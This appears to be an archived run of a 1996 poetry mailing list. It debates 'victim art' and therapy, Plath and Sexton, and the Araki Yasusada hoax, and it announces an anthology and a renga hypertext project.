> *After reading about the award and reading one of her "poems" within the story in the _Des Moines Register_, I was curious enough to get two of her books from the library. My suspicions were right. Her "poetry" consists of long streams of incoherent babbling. I find it hard to believe that any publisher would accept her work. It is especially hard to believe that she merits a Pulitzer Prize.*

I don't know . . . I mean it's sometimes problematic to tell a language poet from a coxcomb . . . where a language poet departs and where an imposter may slip in. Their may have been imposters who have "hitched a ride" under this aesthetic category of putting language first as the primary world of experience, or at least it would be convenient to do so. However, (at least from having read _Materialism_ and _The Dream of a Unified Field_) I find her stuff wonderfully -linguistically - conspicuous. I wouldn't call it "long streams of incoherent babbling" in any event. Inarticulate (more reticulated), non-linear, and spatial . . . by all means. Whether Graham deserved the Pultizer is another thing. I am not sure about her "liberal" appropriation of other texts. She pushes Eliot's belief of what mature and amateur/immature poets do.

What does anyone else think?

Tristan

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539. **Thomas Bell**

Re: feelingth, nothing more than feelingth... try to forget

Thu 18 Jul 1996

On Thu, 18 Jul 1996, Eliza McGrand- CVA Guest wrote:

> *this problem about poetry being regarded as "principally therapeutic" (from Brigham Taylor's message) is at the heart of the victim art controversy i mentioned on earlier posting.*
>
> *flux does not, as such, automatically make a writer, either in that one having it will be a writer or that one writing must have it.*

As a professional therapist I find the connection of therapy and victim art problematic and close to offensive. The nconnection might be out there somewhere in the popular imagination, but effective therapy has never had any connection to personal revalation. It is an art (or science) just as poetry is art or criticism(?).

some days tom, other days Thomas Bell, Psy.D.

late night steam dissapating.

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540. Eliza McGrand- CVA Guest

Re: feelingth, nothing more than feelingth... try to forget

Fri 19 Jul 1996

"connection of therapy and victim art problematic and close to offensive" -- huh? connection is as follows:

person told as part of therapy, produce art centered on your problems. or patient reads how sexton's art was therapeutic for her and decides producing art about problems will be therapeutic for them.

--> they produce art about traumas ---> this art makes people think they have to describe it about art because whoops, as great art because person putting it out in public as art wants to believe themself a great artist. if they aren't told it is great art, their feelings will be hurt. ---> as editors/evaluators/grantees, we begin giving/granting/evaluating well "victims," people whose art is about their victim hood because we feel bad for them, we want to go on record as thinking the source of their trauma is bad, we are so empathetic to the trauma we want to respond based on how bad trauma was and how sorry we feel for them, etc ALL NOT having to do with the art as art, all at the expense of non-victim artists. leading the midground to search for trauma of the day because that makes them a victim which will make their art worthwhile as other victim's art is because they are victims. and i KNOW these exist because i see/receive/struggle with/see in other people's evaluative/grant/editing process same struggle arriving at different places. this is what croce's article was about, how as critic she is meant to evaluate art by victim as art when all around her she is feeling/perceiving pressure to evaluate it as suffering by victim.

---

reverse of this connection, which i've also seen:

artist feels something is off in her/his work, it is not 'deep' or 'meaningful' enough. there is not enough of the stuff of real important human lives.... yes, you hear it coming, not enough suffering, not enough of the trauma that other important people write about -- no drugs, no alcohol, so...

---> artist decides in order to make their art more relevant they have to experience life, suffer, so --> they start shooting up, having sex with most of the east village, going out drinking and...

== they end up junkies (a very close relative of mine has) == they get aids (i'm afraid to count any more -- there have been too many) == they black out alot of their life in drinking and == get killed in auto accident (couple i know, and

several i've heard of) == lose major parts of their life, family's life, sanity to drink == don't stop drinking

and all of these don't do much for their art. i've seen alot of terrible artists who did one of above to get sense of being more "in" to the marrow of creation and now they are terrible artists who drink alot/shoot up/have aids and write about it. lost people. had people die.

all of this IS real life true, not just "popular" myth. i don't know what you meant, or thought you meant that was offensive. this is what i meant and i don't think it is offensive, i think it is scary and sad.

i also meant, on another plane, that when you've gone through something tough, there is, of course, the fact that for a lot of us, it comes out in the writing. and it is very hard to know if the writing is just trauma working its way out and not really very good art, and the "buzz" of energy we get from looking at that work of our own is from having conquered the trauma enough to write about it. and of course people evaluating/editing/ grantmaking, are brought by first set of responses into seeing it through the filter of you the poor victim.... artist. and you could mistake the sympathy, carefulness, kindness, as awe, as reward, as whatever it is that good work touches off. we WANT good work so much we do mistake it. keep telling ourself the work MUST be great or people wouldn't like it so much. i am having alot of trouble seperating out and getting others reading to separate out, sympathy/victim response from critical response. i'm not sure when i get praise for art as such or when someone feels sorry for me. i'm not sure when my "buzz" is because it is good or because i've written myself out of it. again, real life, lived, mine, not "popular" misperception. again, don't know what you thought you saw, but don't see that that struggle is offensive. damn well OUGHT to struggle that way says i -- got to keep ourselves honest, our work honest. i don't want to end up 50, a terrible writer, whinging at readings and forcing scraps of awfulness on bored, embarrassed outsiders so i can get off on their scraps of uncomfortable sympathy. and i've seen those too, gotten their scraps of paper pressed on me and had to come up with what i want to make the most helpful, not the most easy, response. e

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541. **Kevin Killian**

Re: feelingth, nothing more than feelingth... try to forget

Fri 19 Jul 1996

At 9:29 AM 7/19/96, Robert Drake wrote:

> *i'm thinking, frinstance, about various poetries by Nam vets,*
> *bill shields & elliot richmond, or various ov the Viet Nam*
> *Generation publications (mostly prose)... & since i think yr*

> *talking more about "our" critical reception of the work, i might suggest that for some folks, a cathartic working-out of what that (now mythic) figure in our social history is useful work, and such writing might be useful Culture... owens etal might have provided such after WW1... but you seem to be positing a single use-value--Art--that all writing shd be evaluated by?*

Luigi,

I couldn't agree with you more. I think that the relationship between art and content is random to say the least--in other words I think that dreck can be produced no matter the content and that great writing can be produced out of just about anything. This is also harmonizing with Bill Luoma's nonose comment. I'm speaking here more from a prose perspective--in poetry I think the whole issue of content becomes more problematic/complex. But look at the history of Great Works of Fiction--it's loaded with suffering and victims--but goes beyond that self-indulgence somehow. Much of my writing project is to take dis-enfranchized female experience and hurl it into the avant-garde. Recently I was delighted by _The House of Mirth_ because in many ways the content of it doesn't differ that much from the content of _Cosmo_, the most petty and superficial of female obsessions and occupations, and how Wharton writes through that to show its absolute poignancy and oppression and tragedy. I think that one can write out of a position of victimhood and make it work. In my Mina Harker project I made Mina a sort of half goddess, half woman--that way I had the pleasure of letting Mina wallow in her sense of victimhood, to be a Garbo, a Bette Davis of victimhood--but I never try to pull a fast one over on the audience and hide that Mina is wallowing. It's nearly impossible to be a woman writing and to not be writing out of some position of abuse--some of us are abused more than others, to be sure, but all women are abused in this culture. This is just an example, plenty of men are also abused. To propose that writing about abuse is valuable as art, merely because it is about abuse is absurd--not that there isn't some value in writing workshops whose sole purpose is for people to write about their abuse. But, I don't see why this has to be rationalized as art.

The whole issue of victim art often comes up in my life in terms of writing about AIDS--all the crappy writing that comes out of AIDS, and how to deal with that. Once a friend who was teaching a course on writing and AIDS called up Kevin and asked him, rather desperately, for suggestions of good writing about AIDS that he could teach--because he was having a hard time pulling together a list. It was after that that Kevin himself began writing about AIDS, out of a sense, I believe, that skilled writers have a responsibility to confront this epidemic. The other obvious example of someone making art (art really is a dreadful word) out of this incomprehensible tragedy is Aaron Shurin. Neither Kevin nor Aaron are

avoiding the devastating emotional impact in all this by falling into some safe stance of objectivity.

I think I'm rambling here. But I guess what I'm saying is that I don't believe that there are these priviledged subjects that should therefore blind us to the fact that what the person is producing is bad writing. That's not doing anybody any favors. Difficult, painful material deserves the same cut-throat technical proficiency as anything else.

As far as Sexton goes, though she has her moments, I think much of her stuff *is* dreck. But then you have her unfortunate twin Plath, who is, in my opinion, a brilliant writer. Content isn't what makes the difference here.

Dodie Bellamy

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542. **Kevin Killian**
Re: feelingth, nothing more than feelingth... try to forget
Fri 19 Jul 1996

This is Dodie again.

R. Drake's mentioning of Viet Nam made me think of one more thing. Several years ago I read an oral history of Viet Nam. It was an amazing book, some cheap paperback that I may or may not still own. One chapter in particular that still haunts me was by this American soldier who had spent something like six years locked in a tiny bamboo cage, I can't remember the dimensions, but he couldn't stand up in it. In straightforward, clean prose he proceeded to explain in detail what he did to keep from going insane, memory games, mathematics, etc. It was horrifying and awesome. I think this *is* an important cultural document. Thank god nobody talked him into writing some sappy poem about the scariness of some metaphorical cage.

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543. **Robert Drake**
Re: feelingth, nothing more than feelingth... try to forget
Fri 19 Jul 1996

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eliza--

i'm interested, & potentially troubled, by yr contentions re: "victim art", but i'd like to understand better what you are trying to say. praps some of my confusion has to do w/ the generality of yr remarks? could you give concrete examples (beyond sexton) of the problems you see? wd be easier fr me to evaluate yr

arguement in ref. to specific works, rather than broad generalizations ov "how victim/art functions"...

i'm thinking, frinstance, about various poetries by Nam vets, bill shields & elliot richmond, or various ov the Viet Nam Generation publications (mostly prose)... & since i think yr talking more about "our" critical reception of the work, i might suggest that for some folks, a cathartic working-out of what that (now mythic) figure in our social history is useful work, and such writing might be useful Culture... owens etal might have provided such after WW1... but you seem to be positing a single use-value--Art--that all writing shd be evaluated by?

i'm looking, to, at a recent collection edited by Cynthia Edelberg called _Scars: American Poetry in the Face of Violence_... i'm having all kinds of questions abt the book, which contains work from a range of authors (frm Rachel Blau Duplessis, Rosemarie Waldrop & Robert Creeley to Amy Clampitt & Joyce Carol Oates) addressing violence by catagory--domestic, race, war... one of the selection criteria (which i'm guessing you wd agree with?), seems to be that the writers generally present a voice of "objectivity", rather than firstperson & "emotional"... i mself am not convinced that there is such a thing as objectivity beyond a basically rhetorical gesture, and if there were such a thing i'm not sure i'd value it very highly... but are you suggesting that "victim art", in the pejoritive, is work that lacks enuf objectivity, or emotional distance, to be credible? or something else?

i'm also wondering about "victim art", which implies i guess a connotation of autobiography, and other topical work that addresses emotionally charged subjects... certainly problematic if there wd be a different critical response to a text based on the "authenticity" of the writer's experience--is that part of what you're critical of...

ultimatly, i'm very interested in the place of poetry _in_ the society, as living culture, and some of yr concerns seem to be about just that-- i'd like to know more about what you think, particualarly about specific texts or writers...

asever
lbd

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544. Bill Luoma
Anne Sexton's shrink
Fri 19 Jul 1996

Brigham,

why do you want to dis anne sexton? she wrote a good poem about the van allen belt. (Don Allen's anthos). which is just another belt like the salem

pack
that sits
on her file cabinet
parallel to her wrist
watch as she buttons
and unbuttons
her die

I mean Jed Rasula told me some things I didn't want to know.

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545. Bill Luoma
Bromige & nonose
Fri 19 Jul 1996

George,

have you read Bromige's work in Kevin & Dodie's mirage mag? is that new work? it's much fun. i hope it's part of a book about to come out.

i even laughed at the language-referential bits which usually make me cringe when i see or hear them around.

yes, he upset my nono, which is using troped-out words like this or sign or word or major signifiers like history or thinking or poem etc. but somehow he managed to pull it off. does anyone have an example they'd like to share about getting your nonose upset in a good way?

for example, maybe Jeff Derksen has been struck by a two word title that he liked?

Bill Luoma

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546. Herb Levy
clear-cut
Fri 19 Jul 1996

I doubt that Nico Vassilakis (one of the few local lurkers on this list who hasn't come out during the recent spate of, uh, odd de-lurkings from the Northwest) will get around to noting this before leaving for an extended road trip (watch for readings by him, Noemie, & Quixote somewhere near you shortly), so I'll briefly announce a new publication/Web site that debuted at last night's Subtext reading.

Clear-cut is an extremely ecumenical anthology of writing by more than thirty Seattle writers, including some people some of you know: Antero Alli, Laynie

Brown, Maxfield Pol Chandler, Steve Creson, Jerome Gold, Jeane Heuving, Paul Hunter, Jay Jaworski, Joseph Keppler, Marion Kimes, Charlotte London, Michael Magoolaghan, Tom Malone, Bryant Mason, Noemie Maxwell, Heather McHugh, S P Miskowski, Robert Mittenthal, Doug Nufer, Mickey O'Connor, John Olson, Roberta Olson, Belle Randall, Robbo, Steve Shaviro, Willie Smith, Curtis Taylor, Craig Van Riper, Nico Vassilakis, Don Wilsun, J Yarrow.

There's a clear-cut Web site just down the road from the Subtext site:

<http://www.speakeasy.org/clear-cut/>

You'll find information there about ordering a print copy of the book. The texts should be available online there, sometime real soon now, but they aren't there now.

Herb Levy

[redacted]

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547. **Herb Levy**

Another "Yasusada" Sighting

Fri 19 Jul 1996

While out doing errands this morning, I looked through the newest American Poetry Review & was amazed to see four pages devoted to the legendarily non-existent Araki Yasusada.

But wait, there's more: a limited edition selection of verse is forthcoming from Northern House in the UK, as well as a larger manuscript being readied for publication.

Do any of the list readers from Britain know the Northern House people? They should probably be told of the spurious nature of the work they're planning to publish.

How much further can this hoax go? Will work by "Yasusada" end up in a Norton anthology before the end of the century?

Herb Levy

[redacted]

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548. **Eliza McGrand- CVA Guest**
Re: Another "Yasusada" Sighting
Fri 19 Jul 1996

---

i know i'm being a dummy here, but what is the yasusada legend? i've never heard of araki yasusada...
e

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549. **George Bowering**
Re: [redacted]
Fri 19 Jul 1996

> *George,*
>
> *OK, I'll bite: what is an eyebrow window?*

Oh, how can I tell you without drawing it. Well, it is a kind of gable window in that it juts out from the roof. But instead of having an inverted V shape it has its little personal roof in the shape of an eyebrow.

.....
"An occasional crow makes poetry more interesting but not prophetic."
--Carl Rakosi

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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550. **George Bowering**
Re: Bromige & nonose
Fri 19 Jul 1996

> *George,*
>
> *have you read Bromige's work in Kevin & Dodie's mirage mag? is that new work? it's much fun. i hope it's part of a book about to come out.*

I havent been fortunate enough to see it, and though Brom and I see each other often, I havent talked about his new poems with him lately. Mainly we talk about our recently-finished co-authored novel, for which we have no publisher. But i can say that ever since I first knew him, circa 1959, he has had a deft

comic, satirical touch that does not dump him into the canister labeled satiric poet. I think he can do it to almost anyone.

.....
"An occasional crow makes poetry more interesting but not prophetic."
--Carl Rakosi

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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551. MAXINE CHERNOFF
Re: feelength, nothing more than feelength... try to forget
Fri 19 Jul 1996

Dodie's right about sappy poems on important subjects and the suitability of other media with the same subject matter. No one, of course, should censor anyone else or his/her subject matter, but what grates is that crass marketers of writing often dwell on subject matter. I was recently at a gathering where a local poet told another what she was reading in just that way: a great book of poetry on incest, another on the war, etc. Try to tell someone that you write about flux or the perilous language of human communication and you're in trouble. What's your subject--language-- might go over here but try it on the general public or on a polite gathering of "writers" and you're in big trouble. Wish it weren't so but it is.

Maxine Chernoff

On Fri, 19 Jul 1996, Kevin Killian wrote:

> *This is Dodie again.*
>
> *R. Drake's mentioning of Viet Nam made me think of one more thing. Several years ago I read an oral history of Viet Nam. It was an amazing book, some cheap paperback that I may or may not still own. One chapter in particular that still haunts me was by this American soldier who had spent something like six years locked in a tiny bamboo cage, I can't remember the dimensions, but he couldn't stand up in it. In straightforward, clean prose he proceeded to explain in detail what he did to keep from going insane, memory games, mathematics, etc. It was horrifying and awesome. I think this *is* an important cultural document. Thank god nobody talked him into writing some sappy poem about the scariness of some metaphorical*

> *cage.*

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552. **Herb Levy**
Re: Another "Yasusada" Sighting
Fri 19 Jul 1996

> *i know i'm being a dummy here, but what is the yasusada legend? i've never heard of araki yasusada...*
> *e*

"Araki Yasusada" is a fake poet whose work has been turning up in several very presitigious mags over the last few years. Outside of this list I've seen little or no mention of the fact that this is a rather tacky hoax. The mention of forthcoming work in the APR header makes it possible for someone to actively stop some future publication rather than merely note another instance of this.

Here's a better description of the situation than I could give myself from the poetics archives:

> *Date: Tue, 29 Aug 1995 21:45:29 -0400*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *Sender: UB Poetics discussion group <[redacted]>*
> *From: Lee Chapman <[redacted]>*
> *Subject: Yasusada = Hoax?*
> *To: Multiple recipients of list POETICS <[redacted]>*
>
> *As one of the editors who recently published work by Araki Yasusada (Brad Morrow, CONJUNCTIONS, and Jean Stein, GRAND STREET, were others), I feel a responsibility to inform anyone who may have read the work (in FIRST INTENSITY #5) that it is more than likely a hoax; that is, a person or persons unknown to me at this time concocted the bio and writings of this supposed Hiroshima poet. The person who submitted the work to me refuses to confirm or deny the rumors of fakery, and with absolutely no evidence in favor of Yasusada's existence, while there is plenty against it, I think it's safe to assume that the rumors are true.*
>
> *I don't want to interrupt the flow of current discussions to use this forum for a big screechy diatribe on the ethical ramifications of such practices, but I want everyone to know that I did not know of the hoax when I accepted the work, which obviously I found very moving--and timely, of course. However, I believe that the author's deliberate targeting of some major literary magazines, such as CONJUNCTIONS, just in time for the 50th anniversary of the horror of the bombing of Hiroshima and Nagasaki is indefensible.*
>
> *If the purpose was to bring attention to this 50-year-old horror, well I*

> *think we are already perfectly aware of that--many of us have been living "under that bomb" for all our lives! If the author's purpose was to assure that he/she/they received closer attention by synchronizing their attack with the anniversary, well they succeeded. They got our attention. But now what are they going to do with it?*
>
> *My main purpose here is to alert you all to this hoax, and to warn any publishers who may have been approached by anyone (such as Kent Johnson of Freeport, Illinois, who submitted the work to me) claiming to be associated with "Yasusada's editors."*
>
> *The perps did a nice job of writing, but they trashed their own creation when they decided to trash their readers' hearts. Thousands of human beings died in Hiroshima and Nagasaki, and thousands of their family members are still alive today, to remember the horror personally. To use their pain as a springboard to some kind of notoriety is unconscionable. There are hoaxes (such as the Ern Mally affair in Australia during World War II, in which the target was a single editor) and there are hoaxes (such as Yasusada, in which the pain of millions of people--as everyone on earth is affected to some extent by what happened in Japan 50 years ago this month--was callously ignored, apparently in favor of personal gratification); this one really stinks.*
>
> *I guess I diatribed after all. Sorry. As it seems that the RENGA got started after someone posted a note about the Yasusada business in FIRST INTENSITY, I'm somewhat to blame for the seemingly endless renga-ing. You know, I almost didn't publish the renga part of the Yasusada submission--see what happens when you don't listen to your instincts?*
>
> *Best to all,*
> *Lee Chapman*

Herb Levy
[redacted]

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553. **Tristan D. Saldana**
Re: Another "Yasusada" Sighting
Fri 19 Jul 1996

What might be a poet hoax? How can we recognize one?

Tristan

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554. **Pritchett,Pat**
Re: feelength, nothing more than feeling
Fri 19 Jul 1996

The book you're referring to, Dodie, is "Nam," compiled by Mark Baker (or possibly Barker). I've been haunted for years by that particular chapter. As I recall (it's been over ten years since I read it), the POW in question would spend each day building his dream house. In his imagination, he pored over every aspect of construction with the same kind of deliberation as the actual building would have required. In this way, it took him years to finish "the project." It sounds like something straight out of Borges and is a real testament to poesis in its most elemental form.

Best,

Patrick Pritchett

From: Kevin Killian
To: Multiple recipients of list POETICS
Subject: Re: feelength, nothing more than feelength... try to forget
Date: Friday, July 19, 1996 4:26PM

<<File Attachment: HEADERS.TXT>>

This is Dodie again.

R. Drake's mentioning of Viet Nam made me think of one more thing. Several years ago I read an oral history of Viet Nam. It was an amazing book, some cheap paperback that I may or may not still own. One chapter in particular that still haunts me was by this American soldier who had spent something like six years locked in a tiny bamboo cage, I can't remember the dimensions, but he couldn't stand up in it. In straightforward, clean prose he proceeded to explain in detail what he did to keep from going insane, memory games, mathematics, etc. It was horrifying and awesome. I think this *is* an important cultural document. Thank god nobody talked him into writing some sappy poem about the scariness of some metaphorical cage.

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555. **Joseph Zitt**
Murmurings from the Renga Pits
Fri 19 Jul 1996

For anyone who's interested: after a six month wandering of attention, I've gotten back to working on boiling the Renga down into a hypertext.

I'm toying with doing it as a Java app rather than in simple HTML. The question boils down to whether the wait involved in schlepping lines back and forth across the Net is more or less annoying than waiting once to drag the whole file, with the program (well, Java classes) along with it, down. Either way, I'm trying to keep the interface clear and the program platform-independent.

It's not going to be ready really soon, but will emerge in the fullness of time :-). ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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556. **Thomas Bell**

Re: feelength, nothing more than feelength... try to forget

Fri 19 Jul 1996

Yes, exactly - this has nothing to do with competent therapy. It has to do with popular misconceptions, critics, and academic fashion.

On Fri, 19 Jul 1996, Eliza McGrand- CVA Guest wrote:

> *"connection of therapy and victim art problematic and close to offensive" -- huh? connection is as follows:*
>
> *person told as part of therapy, produce art centered on your problems. or patient reads how sexton's art was therapeutic for her and decides producing art about problems will be therapeutic for them.*
>
> *--> they produce art about traumas*
> *---> this art makes people think they have to describe it about art because whoops, as great art because person putting it out in public as art wants to believe themself a great artist. if they aren't told it is great art, their feelings will be hurt.*
> *---> as editors/evaluators/grantees, we begin giving/granting/evaluating well "victims," people whose art is about their victim hood because we feel bad for them, we want to go on record as thinking the source of their trauma is bad, we are so empathetic to the trauma we want to respond based on how bad trauma was and how sorry we feel for them, etc ALL NOT having to do with the art as art, all at the expense of non-victim artists. leading the mid-ground to search for trauma of the day because that makes them a victim which will make their art worthwhile as other victim's art is because they are victims. and i KNOW these exist because i see/receive/struggle with/see in other people's evaluative/grant/editing process same struggle arriving at different places. this is what croce's article was about, how as critic she is meant to evaluate art by victim as art when all around*

> *her she is feeling/perceiving pressure to evaluate it as suffering*
> *by victim.*

---

reverse of this connection, which i've also seen:

artist feels something is off in her/his work, it is not 'deep' or 'meaningful' enough. there is not enough of the stuff of real important human lives.... yes, you hear it coming, not enough suffering, not enough of the trauma that other important people write about -- no drugs, no alcohol, so...

---> artist decides in order to make their art more relevant they have to experience life, suffer, so
--> they start shooting up, having sex with most of the east village, going out drinking and...

== they end up junkies (a very close relative of mine has)
== they get aids (i'm afraid to count any more -- there have been too many)
== they black out alot of their life in drinking and
== get killed in auto accident (couple i know, and several i've heard of)
== lose major parts of their life, family's life, sanity to drink
== don't stop drinking

and all of these don't do much for their art. i've seen alot of terrible artists who did one of above to get sense of being more "in" to the marrow of creation and now they are terrible artists who drink alot/shoot up/have aids and write about it. lost people. had people die.

all of this IS real life true, not just "popular" myth. i don't know what you meant, or thought you meant that was offensive. this is what i meant and i don't think it is offensive, i think it is scary and sad.

i also meant, on another plane, that when you've gone through something tough, there is, of course, the fact that for a lot of us, it comes out in the writing. and it is very hard to know if the writing is just trauma working its way out and not really very good art, and the "buzz" of energy we get from looking at that work of our own is from having conquered the trauma enough to write about it. and of course people evaluating/editing/grantmaking, are brought by first set of responses into seeing it through the filter of you the poor victim.... artist. and you could mistake the sympathy, carefulness, kindness, as awe, as reward, as whatever it is that good work touches off. we WANT good work so much we do mistake it. keep telling ourself the work MUST be great or people wouldn't like it so much. i am having alot of trouble seperating out and getting others reading to separate out, sympathy/victim response from critical response. i'm not

> *sure when i get praise for art as such or when someone feels sorry for me. i'm not sure when my "buzz" is because it is good or because i've written myself out of it. again, real life, lived, mine, not "popular" misperception. again, don't know what you thought you saw, but don't see that that struggle is offensive. damn well OUGHT to struggle that way says i -- got to keep ourselves honest, our work honest. i don't want to end up 50, a terrible writer, whinging at readings and forcing scraps of awfulness on bored, embarrassed outsiders so i can get off on their scraps of uncomfortable sympathy. and i've seen those too, gotten their scraps of paper pressed on me and had to come up with what i want to make the most helpful, not the most easy, response.*
> *e*

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557. **Thomas Bell**

Re: feelingth, nothing more than feeling

Fri 19 Jul 1996

I do resonate with this. I would however call it hero art. It is certainly not victim art, and it is legitimately therapeutic as well as inspiring. tom

On Fri, 19 Jul 1996, Pritchett,Pat @Silverplume wrote:

> *The book you're referring to, Dodie, is "Nam," compiled by Mark Baker (or possibly Barker). I've been haunted for years by that particular chapter. As I recall (it's been over ten years since I read it), the POW in question would spend each day building his dream house. In his imagination, he pored over every aspect of construction with the same kind of deliberation as the actual building would have required. In this way, it took him years to finish "the project." It sounds like something straight out of Borges and is a real testament to poesis in its most elemental form.*
>
> *Best,*
>
> *Patrick Pritchett*
> ----------
> *From: Kevin Killian*
> *To: Multiple recipients of list POETICS*
> *Subject: Re: feelingth, nothing more than feelingth... try to forget*
> *Date: Friday, July 19, 1996 4:26PM*
>
> *<<File Attachment: HEADERS.TXT>>*
>
> *This is Dodie again.*
>
> *R. Drake's mentioning of Viet Nam made me think of one more thing. Several years ago I read an oral history of Viet Nam. It was an amazing book, some*

> *cheap paperback that I may or may not still own. One chapter in particular that still haunts me was by this American soldier who had spent something like six years locked in a tiny bamboo cage, I can't remember the dimensions, but he couldn't stand up in it. In straightforward, clean prose he proceeded to explain in detail what he did to keep from going insane, memory games, mathematics, etc. It was horrifying and awesome. I think this *is* an important cultural document. Thank god nobody talked him into writing some sappy poem about the scariness of some metaphorical cage.*

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558. **Louis Cabri**

si

Sat 20 Jul 1996

The concept gradually ate
    Until only a scifi movie
Remained, & gradually
    Ate the scifi movie remains

The day when incoherence
    Became obvious
Something happened, as if
    By thinking

I feared for my life & friends
    "Once again," upon a rhyme
It pounced as proof, science
    Nor seances suede

***

Re: Gulf War/Political poetry, I patch this from my scrapbook, a rather cynical assessment:

"[A] poet is an "unacknowledged legislator" who bravely takes a stand against corruption in power. It is this model, dimly remembered, that leads the poets I heard read during the Gulf War to choose their antiwar poem to read first; that tang of forbiddenness with (the best part) no real risk behind it.... A quick index of the difference between this purely simulated forbiddenness and the real thing may be got in comparing reaction to these antiwar poems (applause, indulgence, boredom) and the reaction to a Stanford University lecturer who, a few months later, publicly declared that he used marijuana and that he had sometimes brought it to work with him. He was fired. No one reacted." ("A

Show of Defiance: Poetry as 'Protest' in Contemporary America," John C. Dolan, in Rhetorical Republic - I didnt take down who the editor is nor biblio details).

It's interesting to me where and how the line is drawn on the question of the political a/effect of poetry/language. Dolan here draws it one way. Stanford U may not get too much contrastive sympahty, however. Another way to draw it would be as a legal limit of, say, defamatory libel, as it's called in the Cdn Criminal Code. I think it's Derrida who has an interesting essay on the "undecidable performative" in a French poet whose names escapes me right now, a rhetorical maneouvre of self-reflexive language that freaked de Man out (he said the u.p. couldn't be "tolerated"). I can't give example of the u.p. right now (but McCaffery's poetry has lots of instances of it, I think). Anyway, one could call the legal limit a "decidable performative." There was a recent case in Canada concerning the legality of a protester's poster outside the court, whose message was ultimately directed toward a Crown decision concerning charges of manslaughter brought against Kingston Penitentiary guards in the case of Robert Gentles. I don't know if the protester was charged under the Code.

***

Re: victim art, imposters, concepts, perhaps these lines may suggest new

...Behind every survival is a whole totality in words.

> i.e., parenthesis it is a text. To answer a
> question in runic workings of quotations
> behind which passion slips.
>
> And left, imagining a sum: an _I_ inverted
> to an _it_.
>
> At the same time as an imposter.

B. Watten, from "Conduit" in _Conduit_ (Gaz, 1988)

-Louis

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559. Kevin Killian

Re: feelength, nothing more than feelength... try to forget

Sat 20 Jul 1996

At 8:02 AM 7/20/96, Carnography wrote:

> *Speaking of victim art: "Every woman adores a fascist" seems rather simplistic. Plath's suburban pain was hardly comparable to the suffering of Jews, gypsies, dissidents and homosexuals in WWII concentration camps.*

Rob,

Jacqueline Rose addresses this issue in her excellent _Haunting of Sylvia Plath_. I won't attempt to paraphrase from a book I read a few years ago, but one thing that Rose points out is that in fact Plath was much more politically engaged than is commonly known--one of her many aspects "edited" out of her myth by her executors. Rose argues that Plath's references to the Holocaust, fascism, Rosenbergs, etc., aren't as gratuituous as they seem.

Michael Davidson picked up on this at his recent talk at the Orono conference when he led off his talk on Cold War Politics with a discussion of the _Bell Jar_.

"Every woman adores a fascist." Of course it's simplistic--and I'm sure Plath knew that in this sing-songy nursery rhyme poem. I think she's very much in control in this poem and is being in-your-face provocative.

Plath's hard for a lot of people to like because she's mean. I admire that about her.

Sexton's the bored well-to-do housewife who drank too much and liked to screw around. Plath at least struggled in her life, financially and socially, had some real tragedy. As far as suburban goes, wasn't she living in London when she wrote "Daddy?" Or maybe she was still in the country with the bees?

Dodie

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560. Rachel Loden

Re: feelingth, nothing more than feelingth... try to forget

Sat 20 Jul 1996

MAXINE CHERNOFF wrote (in part):

> *Try to tell someone that you write about flux or the perilous language of human communication and you're in trouble. What's your subject--language-- might go over here but try it on the general public or on a polite gathering of "writers" and you're in big trouble. Wish it weren't so but it is.*

Hear hear. I just spent much too much time trying to jump through all the byzantine hoops on a local arts council application (including a demand for a "statement" which seemed more appropriate for a lepidopterist than a poet). I found myself liberally quoting from Frank O'Hara's brilliant tapdance before the Paterson Society: "I don't want to make up a lot of prose about something that is perfectly clear in the poems...At any rate, this will explain why I can't really say anything definite for the Paterson Society for the time being." Which will no doubt win me lots of points with the bureaucratic Cerberus who guards the gateway to the judges, and probably with the judges themselves--but the alternative was vile.

Rachel Loden (briefly delurking)

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561. Carnography

Re: feelingth, nothing more than feelingth... try to forget

Sat 20 Jul 1996

Dodie typed:

> *I think I'm rambling here. But I guess what I'm saying is that I don't believe that there are these priviledged subjects that should therefore blind us to the fact that what the person is producing is bad writing. That's not doing anybody any favors. Difficult, painful material deserves the same cut-throat technical proficiency as anything else.*

The problem of the reader's (and critic's) identification with the author's persona is as pervasive as a virus. I find it odd that many of our champions of multiculturalism have denounced in "victim art" what I consider to be equally problematic in multiculturalism: it posits inherent values to the experience/ethnicity/gender/sexual orientation of the poet. To argue by authority is the fastest possible way to lower the level of a dialogue between diverse parties.

> *As far as Sexton goes, though she has her moments, I think much of her stuff *is* dreck. But then you have her unfortunate twin Plath, who is, in my opinion, a brilliant writer. Content isn't what makes the difference here.*

Are you saying that craft makes the difference? If so, I'd have to agree. Still, I thought that much of _To Bedlam and Part Way Back_ was good, and that much of Plath is overstated or overly dramatic.

Speaking of victim art: "Every woman adores a fascist" seems rather simplistic. Plath's suburban pain was hardly comparable to the suffering of Jews, gypsies, dissidents and homosexuals in WWII concentration camps. The problem here, I think, *is* one of craft (Plath's verbal felicity and fecundity notwithstanding). The difficulty for the writer is to avoid getting painted into a corner: not to make blank statements in an attempt to be powerful, but to address the complexity and subtlety of an experience as well as its power. Plath's suffering was horrible enough as it was. She didn't need to sing anapestic similes involving Hitler to prove her point.

All the best,

Rob Hardin

PS: A horrible confession: I used to listen to library recordings of Plath in high school. (For all I know, I probably cried.) Later, I discovered Thomas Lovell Beddoes, whom I love far more than Plath and Sexton combined.

Plath and Sexton, Eliot and Pound. Have you ever *heard* Plath's expatriate accent on those recordings?

PPS: I'm not *dissing* Plath and Sexton, I'm *reading* them.

http://www.interport.net/~scrypt

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562. Ron Silliman
Hoaxification
Sat 20 Jul 1996

I'm curious -- and maybe a little disturbed -- at the idea that one would want to stop the publication of any of "Asusada's" work before it comes into print just because it's a hoax. Besides being a classic instance of prior censorship, I think it fails to see what's going on in the whole phenomenon.

After the Social Text "hoax" and the lengthy discussion here of the Ern Malley affair (which I'd not heard of before this list), it seems worth looking a little more closely at the ideas that are put into play.

Let's look at the basics:

(1) Asusada doesn't exist -- he is a social construct built by one or (more likely) more people. There's been speculation here about who that might be, but it seems to me unimportant.

(2) The work as writing is pretty good. One reason it's getting published is because it IS better than just decent.

